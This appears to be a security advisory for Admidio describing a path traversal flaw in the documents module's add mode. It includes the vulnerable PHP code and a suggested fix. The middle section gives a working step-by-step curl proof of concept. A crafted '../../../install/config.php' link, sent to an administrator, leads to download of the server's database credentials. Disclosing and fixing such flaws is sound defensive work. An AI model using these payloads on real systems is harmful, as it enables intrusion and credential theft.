Admidio has Path Traversal via Unvalidated `name` Parameter in Document Add Mode that Enables Arbitrary Server File Read

case 'add':
    $getName = admFuncVariableIsValid($_GET, 'name', 'string');

case 'add':
    $getName = admFuncVariableIsValid($_GET, 'name', 'string');

    if (!$gCurrentUser->isAdministratorDocumentsFiles()) {
        throw new Exception('SYS_NO_RIGHTS');
    }

    $folder = new Folder($gDb);
    $folder->readDataByUuid($getFolderUUID);
    $folder->addFolderOrFileToDatabase($getName);
    // ...

public function addFolderOrFileToDatabase(string $newFolderFileName): void
{
    $newFolderFileName = urldecode($newFolderFileName);
    $newObjectPath = $this->getFullFolderPath() . '/' . $newFolderFileName;
    // ...
    if (is_file($newObjectPath)) {
        $newFile = new File($this->db);
        $newFile->setValue('fil_fol_id', $folderId);
        $newFile->setValue('fil_name', $newFolderFileName);  // traversal stored in DB
        // ...
        $newFile->save();
    }
}

// File.php:88-91
public function getFullFilePath(): string
{
    return $this->getFullFolderPath() . '/' . $this->getValue('fil_name', 'database');
}

// DocumentsService.php:75-118
$completePath = $file->getFullFilePath();  // reconstructs traversal path
// ...
readfile($completePath);  // serves arbitrary file

'samesite' => 'lax'

# Step 1: As regular user, browse the documents module to obtain a public folder UUID
curl -b 'attacker_session' 'https://target.com/modules/documents-files.php?mode=list'
# Note a folder_uuid from the response, e.g., "550e8400-e29b-41d4-a716-446655440000"

# Step 2: Craft a link targeting install/config.php (adjust ../ depth for folder nesting)
# For a folder at adm_my_files/documents/Photos/, use three levels:
PAYLOAD_URL='https://target.com/modules/documents-files.php?mode=add&folder_uuid=550e8400-e29b-41d4-a716-446655440000&name=../../../install/config.php'

# Step 3: Send this link to a documents administrator (email, chat, etc.)
# When the admin clicks it, the server's install/config.php is registered in the Photos folder
# The admin sees a redirect back to the documents page (normal behavior)

# Step 4: As attacker, list the folder to find the new file entry
curl -b 'attacker_session' 'https://target.com/modules/documents-files.php?mode=list&folder_uuid=550e8400-e29b-41d4-a716-446655440000'
# The traversal file appears in the listing with its file_uuid

# Step 5: Download the file using its UUID
curl -b 'attacker_session' 'https://target.com/modules/documents-files.php?mode=download&file_uuid=<FILE_UUID>'
# Response contains the contents of install/config.php, including:
# $g_adm_srv  (database host)
# $g_adm_usr  (database username)
# $g_adm_pw   (database password)
# $g_adm_db   (database name)

// Before (vulnerable):
$getName = admFuncVariableIsValid($_GET, 'name', 'string');

// After (fixed):
$getName = admFuncVariableIsValid($_GET, 'name', 'file');

case 'add':
    SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']);
    $getName = admFuncVariableIsValid($_POST, 'name', 'file');

    if (!$gCurrentUser->isAdministratorDocumentsFiles()) {
        throw new Exception('SYS_NO_RIGHTS');
    }

    $folder = new Folder($gDb);
    $folder->readDataByUuid($getFolderUUID);
    $folder->addFolderOrFileToDatabase($getName);
    // ...

public function addFolderOrFileToDatabase(string $newFolderFileName): void
{
    $newFolderFileName = urldecode($newFolderFileName);
    $newObjectPath = $this->getFullFolderPath() . '/' . $newFolderFileName;

    // Ensure the resolved path is within the folder directory
    $realPath = realpath($newObjectPath);
    $folderPath = realpath($this->getFullFolderPath());
    if ($realPath === false || !str_starts_with($realPath, $folderPath . '/')) {
        throw new Exception('SYS_FILENAME_INVALID');
    }
    // ... rest of method
}